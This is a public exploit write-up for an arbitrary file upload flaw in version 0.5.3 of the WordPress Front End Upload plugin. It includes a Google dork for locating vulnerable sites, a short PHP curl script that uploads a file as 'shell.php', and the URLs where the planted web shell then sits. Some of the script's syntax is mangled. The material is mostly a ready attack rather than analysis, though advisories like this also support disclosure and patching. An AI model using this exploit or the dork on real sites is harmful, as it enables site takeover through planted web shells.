WordPress Front End Upload 0.5.3 - Arbitrary File Upload



# Exploit Title: Wordpress front-end-upload 0.5.3 Arbitrary File Upload

# Google Dork: inurl:wp-content/plugins/front-end-upload/
# Date: 31/05/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage: http://mondaybynoon.com/20120102/announcing-front-end-upload-wordpress-plugin/
# Software Link: http://downloads.wordpress.org/plugin/front-end-upload.0.5.3.zip
# Version: 0.5.3


*** FRONT-END-UPLOAD PRO is probably vulnerable ***

page upload.php is vulnerable to Remote File Upload. Code :

<?php
$u
="whatelse.php";
$c curl_init("http://server/wp-content/plugins/front-end-upload/upload.php");
curl_setopt($cCURLOPT_POSTtrue);
curl_setopt($cCURLOPT_POSTFIELDS,
array(
'file'=>"@$u",'name'=>"shell.php"));
curl_setopt($cCURLOPT_RETURNTRANSFER1);
$e curl_exec($c);
curl_close($c);
echo 
$e
?>


If plugin isn't active, shell could be found at :
    http://server/wp-content/plugins/front-end-upload/FEU_DESTINATION_DIR/shell.php
else
    http://server/wp-content/uploads/iti_feu_uploads/shell.php
    
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